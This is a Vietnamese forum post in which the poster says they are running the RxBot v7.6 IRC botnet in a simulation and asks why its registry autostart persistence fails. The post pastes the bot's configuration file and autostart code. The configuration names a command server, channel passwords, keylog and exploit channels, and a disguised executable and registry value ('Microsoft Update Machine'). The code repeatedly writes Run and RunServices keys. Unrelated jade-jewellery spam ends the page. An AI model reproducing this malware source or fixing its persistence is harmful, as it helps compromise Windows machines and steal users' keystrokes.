Mình đang xây dựng 1 mô phỏng, có sử dụng con bot rxbot để thả vào máy mô phỏng, mình dùng source bản 7.6, đã chạy được nhưng có 1 cái là nó không thêm khóa registry để tự động khởi động cùng windows được, mình không rõ là tại sao :'( mong các[COD] bạn chỉ giáo
mình nghĩ nó chỉ có vấn đề ở thư viện configs.h và hàm autostart thôi, sau đây là đoạnc code của 2 cái này, ngoài ra mình có đính kèm source code nếu các bạn muốn xem thêm.
Hy vọng được các bro chỉ giáo sớm (
configs.h
Mã:
// bot configuration (Lsass by Uncanny)
int port = 6667; // server port
int port2 = 6667; // backup server port
int socks4port = 38; // Port # for sock4 daemon to run on - CHANGE THIS!!!
int tftpport = 69; // Port # for tftp daemon to run on
int httpport = 81; // Port # for http daemon to run on
int rloginport = 37; // Port # for rlogin daemon to run on
BOOL topiccmd = TRUE; // set to TRUE to enable topic commands
BOOL rndfilename = TRUE; // use random file name
BOOL AutoStart = TRUE; // enable autostart registry keys
char prefix = '.'; // command prefix (one character max.)
int maxrand = 6; // how many random numbers in the nick
int nicktype = CONSTNICK; // nick type (see rndnick.h)
BOOL nickprefix = TRUE; // nick uptime & mirc prefix
#ifdef DEBUG_LOGGING
char logfile[]="c:\\debug.txt";
#endif
#ifndef NO_CRYPT // Only use encrypted strings or your binary will not be secure!!
#else // Recommended to use this only for Crypt() setup, this is unsecure.
char botid[] = "Bot"; // bot id
char version[] = "[RxBot v7.6 modded by Tr0gd0r]"; // Bots !version reply
char password[] = "1234"; // bot password
char server[] = "aenigma.gotd.org"; // server
char serverpass[] = "1234"; // server password
char channel[] = "#bot1"; // channel that the bot should join
char chanpass[] = "1234"; // channel password
char server2[] = ""; // backup server (optional)
char channel2[] = ""; // backup channel (optional)
char chanpass2[] = ""; // backup channel password (optional)
char filename[] = "winmgr.exe"; // destination file name
char keylogfile[] = "system.txt"; // keylog filename
char valuename[] = "Microsoft Update Machine"; // value name for autostart
char nickconst[] = "n-"; // first part to the bot's nick
char szLocalPayloadFile[]="msconfig.dat"; // Payload filename
char modeonconn[] = "-x+B"; // Can be more than one mode and contain both + and -
char exploitchan[] = "#bot1"; // Channel where exploit messages get redirected
char keylogchan[] = "#bot1"; // Channel where keylog messages get redirected
char psniffchan[] = "#n"; // Channel where psniff messages get redirected
char *authost[] = {
"*@*",
};
char *versionlist[] = {
"mIRC v6.03 Khaled Mardam-Bey",
"mIRC v6.10 Khaled Mardam-Bey",
"mIRC v6.12 Khaled Mardam-Bey",
"mIRC v6.14 Khaled Mardam-Bey"
};
char regkey1[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char regkey2[]="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices";
char regkey3[]="Software\\Microsoft\\OLE";
char regkey4[]="SYSTEM\\CurrentControlSet\\Control\\Lsa";
#endif
autostart.cpp
Mã:
#include "includes.h"
#include "functions.h"
#include "externs.h"
// globals
#ifndef NO_REGISTRY
int registry_delay=60000;
#endif
AUTOSTART autostart[]={
{HKEY_LOCAL_MACHINE,(LPCTSTR)regkey1},
{HKEY_LOCAL_MACHINE,(LPCTSTR)regkey2},
{HKEY_CURRENT_USER,(LPCTSTR)regkey1}
};
void AutoStartRegs(char *nfilename)
{
HKEY key;
for (int i=0; i < (sizeof(autostart) / sizeof(AUTOSTART)); i++) {
fRegCreateKeyEx(autostart[i].hkey, autostart[i].subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
if (nfilename)
fRegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)nfilename, strlen(nfilename));
else
fRegDeleteValue(key, valuename);
fRegCloseKey(key);
}
return;
}
#ifndef NO_REGISTRY
DWORD WINAPI AutoRegistry(LPVOID param)
{
char *nfilename = (char *)param;
while (1) {
AutoStartRegs(nfilename);
Sleep(registry_delay);
}
return 0;
}
#endif
View more random threads:
Ngọc Bích xanh bản chất thuộc dòng đá đá hoa (jade). Và cẩm thạch là tên gọi chung của ngọc bích. Vì thực chất chúng thuộc dòng đá đa khoáng được hình thành từ chất Silicat dưới dạng dioxy. Ngọc bích...
Chia sẻ Vòng tay ngọc bích xanh là...